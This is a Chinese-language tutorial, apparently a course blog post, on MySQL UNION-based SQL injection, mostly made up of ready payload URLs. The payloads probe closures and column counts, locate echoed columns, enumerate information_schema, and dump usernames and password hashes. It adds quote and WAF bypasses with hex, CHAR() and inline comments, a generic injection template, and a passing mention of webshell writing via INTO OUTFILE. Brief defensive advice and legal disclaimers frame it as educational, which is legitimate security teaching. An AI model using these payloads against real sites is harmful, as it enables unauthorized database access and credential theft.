5-数据库-SQL注入-联合查询-day13
MySQL 联合查询注入⚠️免责声明本文仅用于网络安全教学和研究目的旨在帮助开发者和安全人员理解SQL注入原理以更好地防御此类攻击。严禁将本文所述技术用于任何非法入侵、数据窃取或其他违法犯罪活动。任何不当使用导致的后果由使用者自行承担作者及平台不承担任何法律责任。 目录导航一、UNION 语法特性二、联合查询注入完整流程三、核心函数与语法详解四、MySQL 版本差异速查五、进阶技巧六、通用注入模板七、防御建议补充-不同版本mysql的差异补充-sql注入的思路一、UNION 语法特性UNION是 SQL 中用于纵向合并结果集的操作符。它的核心逻辑是将多个SELECT语句的查询结果上下堆叠成一张新表。与JOIN的左右拼接不同UNION要求参与合并的各个结果集在结构上保持一致。理解以下五条核心特性是构造 UNION 注入 payload 的基石。1.1 列数必须相同所有SELECT语句必须返回相同数量的列。列数不一致时数据库直接报错。-- 错误示范3列 vs 2列SELECTid,name,gradeFROMstudentsUNIONSELECTid,nameFROMteachers;-- 报错ERROR 1222 (21000): The used SELECT statements have a different number of columns-- 正确写法用 NULL 补齐SELECTid,name,gradeFROMstudentsUNIONSELECTid,name,NULLASgradeFROMteachers;1.2 对应列的数据类型必须兼容即使列数相同如果对应列的数据类型无法隐式转换数据库也会报错。注入视角如果不知道原列类型通常使用NULL进行填充因为NULL可以兼容所有数据类型从而避免类型冲突错误。-- 安全的列数探测方式SELECT1,2,3UNIONSELECTNULL,NULL,NULL--1.3 按列顺序匹配不看列名UNION合并数据时完全无视列名只看列的位置第1列对第1列第2列对第2列。最终结果集的列名由第一条SELECT语句决定。注入视角这就是为什么我们在注入时使用?id-1 UNION SELECT 1,2,3--。数字2显示在页面的哪个位置就说明原 SQL 语句的第二列是回显位。我们并不关心那一列原本叫username还是email只关心它在第几位。1.4 去重机制UNION vs UNION ALLUNION默认行为剔除重复行消耗额外计算资源。UNION ALL纯粹拼接结果集不做去重检查速度更快。注入视角在 SQL 注入中通常先让原查询为空如id-1这样UNION和UNION ALL返回的结果完全一致。UNION是 SQL 标准注入时更常使用。但在某些 WAF 过滤了UNION的情况下可以尝试UNION ALL如果 WAF 只过滤了UNION后面带空格的情况。-- UNION 会去重 UNION SELECT 1,2,3 -- -- UNION ALL 不会去重在某些场景下可用于避免去重导致的回显丢失 UNIONALLSELECT1,2,3--1.5 排序与限制ORDER BY和LIMIT子句作用于整个UNION结果集的最后。如果需要对单个SELECT排序必须用括号包裹。-- 正确对整个结果集排序(SELECTemp_nameASnameFROMemployees)UNION(SELECTcust_nameASnameFROMcustomers)ORDERBYnameLIMIT3;二、联合查询注入完整流程发现疑似注入点 → 判断闭合方式 → 判断查询列数 → 寻找回显位 → 获取基础信息 → 枚举库/表/列 → 拖取数据Step 1: 判断参数的闭合方式Web 后端代码将用户输入拼接到 SQL 语句中。需要猜测开发者如何包裹这个变量以便构造合法的 SQL 语法。闭合类型后端代码示例测试 Payload预期结果数字型WHERE id$id?id1报错语法变成id1多了一个单引号单引号WHERE id$id?id1正常或报错取决于驱动和转义双引号WHERE id$id?id1正常或报错单引号括号WHERE id($id)?id1)--正常双引号括号WHERE id($id)?id1)--正常搜索型 (LIKE)WHERE name LIKE %$kw%?kw% OR 11--返回所有数据测试步骤假设 URL 为http://example.com/news.php?id1-- 1. 测试数字型与字符型 http://example.com/news.php?id1 -- 报错 You have an error in your SQL syntax... → 字符型需要闭合 -- 2. 测试逻辑真假数字型验证 http://example.com/news.php?id1 AND 11-- -- 页面正常 http://example.com/news.php?id1 AND 12-- -- 页面异常/空 -- 如果上述成立说明是数字型注入无需引号闭合 -- 3. 测试括号如果加了引号还报错 http://example.com/news.php?id1)-- http://example.com/news.php?id1)-- -- 4. 搜索型注入 -- 原SQL: SELECT * FROM articles WHERE title LIKE %keyword% -- 注入后: SELECT * FROM articles WHERE title LIKE % OR 11-- % http://example.com/search.php?kw OR 11--关键提示注释符--中的在 URL 解码后代表空格。#在 URL 中需编码为%23注意不是%37%37是数字7的编码这是一个常见错误。Step 2: 判断原语句查询列数UNION要求前后两个 SELECT 语句拥有相同的列数。必须先探测出原语句查了多少列。方法一ORDER BY 二分法最常用利用ORDER BY n按第 n 列排序。当 n 大于实际列数时数据库报错。-- 假设是单引号闭合 http://example.com/news.php?id1 ORDER BY 4-- -- 页面正常 → 至少有 4 列 http://example.com/news.php?id1 ORDER BY 5-- -- 报错 → 只有 4 列Payload结果推断?id1 ORDER BY 3--页面正常列数 3?id1 ORDER BY 4--页面正常列数 4?id1 ORDER BY 5--白屏/报错列数 4方法二UNION SELECT NULL 法利用NULL可以兼容任何数据类型的特性逐个增加NULL的数量。-- 尝试 3 列 http://example.com/news.php?id-1 UNION SELECT NULL,NULL,NULL-- -- 报错 → 列数不是 3 -- 尝试 4 列 http://example.com/news.php?id-1 UNION SELECT NULL,NULL,NULL,NULL-- -- 页面恢复正常 → 列数 4注意也可以用UNION SELECT 1,2,3直接测试但如果原列是日期或二进制类型数字1可能无法隐式转换导致报错。NULL法兼容性最好。Step 3: 确定回显位页面通常只显示原 SQL 查询结果的某几列。需要找到哪些列的数据会被 HTML 页面打印出来并让原查询结果为空。方法一负 ID 法最常用利用-1、0或不存在的 ID 让原查询结果为空。http://example.com/news.php?id-1 UNION SELECT 1,2,3,4--假设页面源代码显示如下divclasscontenth12/h1!-- 标题位置显示了数字 2 --pAuthor: 3/p!-- 作者位置显示了数字 3 --spanID: 1/span!-- 不关注 --/div结论第 2 列和第 3 列是回显位。方法二AND 12 法使用逻辑假让原查询不返回结果。http://example.com/news.php?id1 AND 12 UNION SELECT 1,2,3,4--方法三LIMIT 偏移法如果页面只显示第一行数据可以使用LIMIT 1,1跳过第一行。http://example.com/news.php?id1 LIMIT 1,1 UNION SELECT 1,2,3,4--Step 4: 数据查询核心攻击阶段在回显位中调用 MySQL 内置函数或查询系统表窃取信息。核心逻辑流基础信息 → 数据库名 → 表名 → 列名 → 数据。4.1 获取基础信息指纹识别确认数据库类型、版本、当前权限和路径。-- 查询版本和当前库 http://example.com/news.php?id-1 UNION SELECT 1,version(),database(),4-- -- 页面显示: 8.0.36, security -- 查询当前用户和操作系统 http://example.com/news.php?id-1 UNION SELECT 1,user(),version_compile_os,4-- -- 页面显示: rootlocalhost, Linux函数/变量作用示例输出version()/version数据库版本8.0.36database()当前数据库名securityuser()/current_user()当前用户名rootlocalhostdatadir数据存放路径/var/lib/mysql/basedir安装路径/usr/version_compile_os操作系统Linux4.2 枚举数据库名称利用information_schema.schemata表查询所有schema_name。http://example.com/news.php?id-1 UNION SELECT 1,2,group_concat(schema_name),4 FROM information_schema.schemata-- -- 页面显示: security,information_schema,performance_schema,mysql,sys4.3 枚举指定数据库的表名利用information_schema.tables表通过table_schema字段过滤。http://example.com/news.php?id-1 UNION SELECT 1,2,group_concat(table_name),4 FROM information_schema.tables WHERE table_schemasecurity-- -- 页面显示: users,articles,categories4.4 枚举指定表的字段名利用information_schema.columns表通过table_schema和table_name双重过滤。http://example.com/news.php?id-1 UNION SELECT 1,2,group_concat(column_name),4 FROM information_schema.columns WHERE table_schemasecurity AND table_nameusers-- -- 页面显示: id,username,password,email4.5 拖取最终数据-- 直接拖取用户名和密码 http://example.com/news.php?id-1 UNION SELECT 1,group_concat(username),group_concat(password),4 FROM security.users-- -- 使用 CONCAT_WS 格式化输出username:password http://example.com/news.php?id-1 UNION SELECT 1,2,group_concat(username,:,password),4 FROM security.users-- -- 页面显示: admin:8efe310f9ab3efeae8d410a8a....,test:098f6bcd4621d373cade4e832627b4f64.6 十六进制编码绕过引号如果单引号被过滤可以将字符串转换为十六进制。security的十六进制是0x7365637572697479users的十六进制是0x7573657273。-- 原语句 ... WHERE table_schemasecurity AND table_nameusers-- -- 十六进制绕过 ... WHERE table_schema0x7365637572697479 AND table_name0x7573657273--三、核心函数与语法详解字符串拼接函数函数用法特点CONCAT(str1, str2, ...)CONCAT(username, :, password)只要有一个参数为 NULL结果即为 NULLCONCAT_WS(sep, str1, str2, ...)CONCAT_WS(:, username, password)忽略 NULL 值不会返回 NULL注入首选GROUP_CONCAT(col [SEPARATOR sep])GROUP_CONCAT(username SEPARATOR -)将多行数据合并成一行字符串拖库神器注意GROUP_CONCAT受系统变量group_concat_max_len限制默认 1024字节不是字符。在 utf8mb4 编码下一个中文字符或 emoji 可能占 3-4 字节实际能显示的字符数远少于 1024。如果数据被截断可以使用LIMIT分页读取或在注入前设置SET group_concat_max_len 102400。分页函数语法用法说明LIMIT m, nLIMIT 0,1跳过0行取1行LIMIT n OFFSET mLIMIT 1 OFFSET 0功能相同逗号被过滤时的替代品注释符注释符说明示例--(后接空格)单行注释SELECT * FROM users --#/%23单行注释URL中需编码SELECT * FROM users #/* */多行注释可用于绕过 WAF 关键词过滤UNION/**/SELECT/*! */MySQL 特有不注释内容执行代码/*!50001 SELECT 1 */四、MySQL 版本差异速查维度MySQL 5.1-5.6MySQL 5.7MySQL 8.0UNION 语法一致一致一致information_schema 核心视图可用可用可用实现改为 VIEWINNODB_SYS_*视图可用可用重命名为INNODB_*mysql.proc/mysql.event表可用可用改用 I_S 视图mysql.user密码列PasswordPasswordauthentication_string默认字符集latin1/utf8utf8utf8mb4_0900_ai_ci十六进制字面量行为自动转为字符串自动转为字符串二进制字符串需显式转换version()输出格式5.x.x5.7.x8.0.x结论UNION 注入的骨架跨版本不变变的是抽血阶段依赖的系统库内部细节。学注入时以 5.7 为基准环境再了解 8.0 的差异点就能应对绝大多数场景。关键版本差异说明十六进制字面量MySQL 5.7 及之前0x554e494f4e会在 SQL 解析阶段自动转换为字符串UNION。MySQL 8.0 及之后0x554e494f4e是二进制字符串类型在 SQL 解析阶段保持原样不会被当作关键字处理。位运算返回值MySQL 5.7 位运算返回BIGINTMySQL 8.0 返回二进制字符串。五、进阶技巧5.1 CAST/CONVERT 类型转换处理数据类型不匹配确保回显正常。-- 将各种类型转为字符串 UNION SELECT CAST(version AS CHAR), CAST(DATABASE() AS CHAR), CONVERT(datadir, CHAR) -- -- 使用 CONCAT 添加前缀标识 UNIONSELECTCONCAT(ID:,id),CONCAT(User:,username),CONCAT(Pass:,password)FROMusers--5.2 无引号字符串技巧当单引号被 WAF 过滤时用十六进制或函数生成字符串值。-- 十六进制仅用于字符串值不能替代关键字 UNION SELECT 1,0x61646D696E,3 -- -- 0x61646D696E admin -- CHAR 函数 UNIONSELECT1,CHAR(97,100,109,105,110),3-- -- 同上-- CONCAT 函数 UNION SELECT 1,CONCAT(a,d,m,i,n),3--重要区别CHAR()、CONCAT()等函数是表达式UNION、SELECT是语法关键字。函数返回的字符串只能作为数据值使用不能放在关键字位置。例如SELECT id FROM users CHAR(85,78,73,79,78) SELECT 1,2,3会报语法错误因为CHAR()返回的是值不是关键字。5.3 子查询绕过列数限制当原查询列数很多时用子查询将多个字段压缩到一列。-- 原查询有 10 列但只需回显一个位置 UNION SELECT 1,2,3,4,5,(SELECT username FROM users LIMIT 0,1),7,8,9,10 -- -- 将整个表的数据压缩到一行 UNIONSELECT1,(SELECTGROUP_CONCAT(username,:,password)FROMusers),3,4,5--5.4 利用 UNION ALL 避免去重-- UNION 会去重UNION ALL 不会 UNION ALL SELECT 1,2,3 -- -- 结合子查询获取信息 UNIONALLSELECT1,(SELECTversion),3--UNIONALLSELECT1,(SELECTDATABASE()),3--5.5 利用 JSON 函数MySQL 5.7-- MySQL 5.7 JSON 函数 UNION SELECT 1, JSON_EXTRACT( (SELECT CONCAT([, GROUP_CONCAT(table_name), ]) FROM information_schema.tables WHERE table_schemaDATABASE()), $[0]),3,4,5--5.6 利用窗口函数MySQL 8.0-- MySQL 8.0 窗口函数UNIONSELECT1,ROW_NUMBER()OVER(ORDERBY(SELECTGROUP_CONCAT(table_name)FROMinformation_schema.tablesWHEREtable_schemaDATABASE())),3,4,5--5.7 GROUP_CONCAT 截断时的分页策略当GROUP_CONCAT返回的数据超过group_concat_max_len限制被截断时-- 方法1使用 LIMIT 逐条读取 UNION SELECT 1,2,(SELECT username FROM security.users LIMIT 0,1),4 -- UNIONSELECT1,2,(SELECTusernameFROMsecurity.usersLIMIT1,1),4-- UNION SELECT 1,2,(SELECT username FROM security.users LIMIT 2,1),4 -- -- 方法2修改 group_concat_max_len需要高权限 UNIONSELECT1,2,(SELECTSETgroup_concat_max_len102400),4---- 方法3使用 LIMIT OFFSET 语法当逗号被过滤时UNIONSELECT1,2,(SELECTGROUP_CONCAT(username)FROMsecurity.usersLIMIT1OFFSET0),4--六、通用注入模板将上述步骤合并得到一个通用的 MySQL 联合注入模板-- 1. 探测闭合假设是单引号?id1 -- 2. 探测列数假设是 3 列 ?id1ORDERBY3---- 3. 找回显位?id-1 UNION SELECT 1,2,3-- -- 4. 爆库 ?id-1UNIONSELECT1,2,group_concat(schema_name)FROMinformation_schema.schemata---- 5. 爆表?id-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schematarget_db-- -- 6. 爆字段 ?id-1UNIONSELECT1,2,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_schematarget_dbANDtable_nametarget_table---- 7. 拖数据?id-1UNIONSELECT1,group_concat(username),group_concat(password)FROMtarget_db.target_table--七、防御建议使用预处理语句Prepared Statements参数化查询是防止 SQL 注入的根本方案。禁止字符串拼接 SQL杜绝将用户输入直接拼入 SQL 语句。最小权限原则数据库用户不应拥有FILE、PROCESS等高权限。WAF 规则覆盖检测注释分割、多重编码、逻辑运算符别名等绕过手法。统一字符集UTF-8避免因字符集差异导致的注入风险。补充-不同版本mysql的差异一、MySQL 系统库总览MySQL 的系统库是由 MySQL 服务器自身创建和维护的数据库普通业务库之外的元数据之家。跨版本看涉及的系统库一共五个information_schema—— 元数据字典库、表、列、权限等mysql—— 核心系统库用户、权限、系统配置performance_schema—— 运行时性能监控sys—— 基于 performance_schema 的封装层5.7 默认带test—— 空测试库5.7 及更早版本常见8.0 默认不再创建二、按版本区间看系统库清单MySQL 5.1 时代5.1 时期默认自带information_schema5.0 引入5.1 已完备mysqlperformance_schema5.5 才正式可用5.1 实际上是占位状态test空测试库 此时没有sys库。sys 库是 2014 年在独立的 mysql-sys 仓库中诞生的2016 年才合入主线5.7.7 起才默认安装。MySQL 5.6information_schemamysqlperformance_schema5.6 起默认启用testsys可选需手动安装sys 支持 5.6但不默认带MySQL 5.7注入研究的黄金版本5.7.7 起sys库在初始化数据目录时默认安装。所以 5.7 自带 4 个库information_schemamysqlperformance_schemasystest库在 5.7 中仍然可能被创建取决于安装方式但从 5.7 起官方已不推荐部分 Docker 镜像默认不带。MySQL 8.0 之后8.0 自带 4 个核心系统库information_schemamysqlperformance_schemasys⚠️关键变化从 8.0 开始默认安装不再创建test数据库。用一张表归纳系统库5.15.65.78.0information_schema✅✅✅✅mysql✅✅✅✅performance_schema部分✅默认开✅默认开✅默认开sys❌可选✅5.7.7 默认✅test✅✅部分安装❌三、版本间系统库的核心变化重点光看多了还是少了某个库还不够对注入研究来说系统库内部结构的变化更重要。变化 1数据字典架构重构5.7 → 8.0 最大变革5.7 及之前元数据分散存储在 MyISAM 格式的mysql系统表如mysql.user.MYD/MYI和.frm文件中8.0 起彻底重构为事务性、InnoDB 托管的内部数据字典元数据持久化于mysql.ibd和ibdata1中这意味着8.0 的mysql.user表结构从 5.7 的 45 列扩展到52 列新增password_history、password_reused_interval、account_locked等安全字段8.0 中mysql库下多数表不可直接 DML只读数据字典表过去的mysql.proc、mysql.event等系统表在 8.0 中被移除由information_schema的routines、events等视图取代变化 2information_schema 的实现方式改变5.7 及之前information_schema 下的INNODB_SYS_TABLES、INNODB_SYS_TABLESPACES等是基于 InnoDB 系统表构建的视图8.0.3 起这些视图不再基于 InnoDB 系统表而是基于数据字典表同时视图名做了简化——去掉_SYS前缀INNODB_SYS_TABLES→INNODB_TABLESINNODB_SYS_TABLESPACES→INNODB_TABLESPACES部分表还移除了FILE_FORMAT列对注入的影响如果你写的注入 Payload 或脚本里硬编码了INNODB_SYS_*这类老视图名在 8.0 上会失效必须用新名称。变化 3部分 information_schema 表被移除Oracle MySQL 团队在 8.0 中弃用并移除了INFORMATION_SCHEMA.INNODB_LOCKS和INFORMATION_SCHEMA.INNODB_LOCK_WAITS5.7 中已被标记为 deprecated替代方案是performance_schema.data_locks和performance_schema.data_lock_waits变化 4test 库消失8.0 默认安装不再创建test库——这对注入影响不大但 CTF 靶场有时会利用test库的可写权限做INTO OUTFILE写马8.0 环境下这条路径默认走不通。变化 5查询缓存Query Cache移除8.0 彻底移除了查询缓存——这不是系统库的变化但影响注入时的缓存侧信道类技巧。四、对 SQL 注入学习的实际意义1. 跨版本稳定的注入基石无论 5.1/5.7/8.0information_schema下的这三张表始终可用是注入枚举的命脉information_schema.schemata -- 所有数据库名 information_schema.tables -- 所有表可按 table_schema 过滤 information_schema.columns -- 所有列可按 table_name 过滤2. 版本相关的差异点注入场景5.1-5.65.78.0默认系统库数量3-4 个4 个含 sys4 个无 testINNODB_SYS_*视图✅✅❌ 已重命名为INNODB_*mysql.user列数较少45 列52 列mysql.proc表✅✅❌ 改用information_schema.routines锁信息视图INNODB_LOCKS等deprecated❌ 改用performance_schema.data_locks默认字符集latin1 / utf8utf8mb4utf8mb4_0900_ai_ci3. 版本探测的重要性注入第一步通常是探版本SELECT version(); -- 或报错注入 AND updatexml(1, CONCAT(0x7e, version(), 0x7e), 1)拿到版本号后你才知道是否可以利用INNODB_SYS_*视图仅 5.7 及之前mysql.user表里有哪些列可用默认字符集是什么影响宽字节注入的判断是否存在test库可用于写文件4. 8.0 注入的小坑8.0 的information_schema中部分表如TABLES的TABLE_COMMENT等字段行为有微调GROUP_CONCAT长度限制依然存在但默认group_concat_max_len在 8.0 中是 1024 字节8.0 的mysql库下很多表变成数据字典表无法用 SELECT 直接读也不出现在SHOW TABLES输出中——但可以通过information_schema对应的视图查询补充-sql注入的思路SQL注入的本质是用户输入被数据库当作可执行SQL代码解析所有攻击Payload的设计本质都是沿着「适配目标环境→突破语法边界→提取敏感数据」的链路展开的核心思路可浓缩为5步定位注入点遍历URL参数、表单、请求头等有数据输入的入口通过添加单引号、逻辑真假判断如AND 11验证是否存在语法逃逸。判定库类型先区分关系型支持SQL、联合查询与非关系型NoSQL走操作符注入避免无效尝试。锁定具体数据库通过版本特征、系统表差异区分MySQL、SQLite、PostgreSQL等例如MySQL用version()、SQLite用sqlite_version()获取版本信息。摸排环境与版本确认数据库大版本如MySQL 5.7/8.0、账号权限、配置限制如secure_file_priv不同版本的可用系统库如MySQL 8.0的performance_schema替代部分information_schema功能、函数如JSON函数、窗口函数差异极大直接决定Payload的有效性。实施数据提取基于回显位或盲注逻辑枚举库表结构、拖取账号密码等敏感数据。与之对应的防御核心是切断攻击链路的任意一环通过参数化查询让用户输入永远只作为数据而非代码、通过最小权限原则和关闭错误回显降低信息泄露风险、通过限制文件读写权限封堵高危利用路径。⚠️ 法律与道德声明重要提醒本文所有技术内容仅供网络安全学习、研究和防御参考。SQL注入攻击是严重的违法行为可能触犯《中华人民共和国刑法》第二百八十五条非法侵入计算机信息系统罪、第二百八十六条破坏计算机信息系统罪等相关法律法规。请务必遵守以下原则仅用于授权测试仅在获得明确书面授权的环境中进行安全测试不用于非法目的不得利用本文技术进行未授权的系统入侵、数据窃取或破坏保护用户隐私不得非法获取、使用或泄露他人个人信息遵守平台规则遵守相关网站和服务的使用条款法律后果任何违反法律法规的行为都将面临法律制裁包括但不限于行政处罚、民事赔偿和刑事责任。技术学习是为了更好地保护系统安全请务必用于正当途径。安全建议作为开发者应积极学习安全知识采用参数化查询、输入验证、最小权限原则等安全措施从源头杜绝SQL注入漏洞。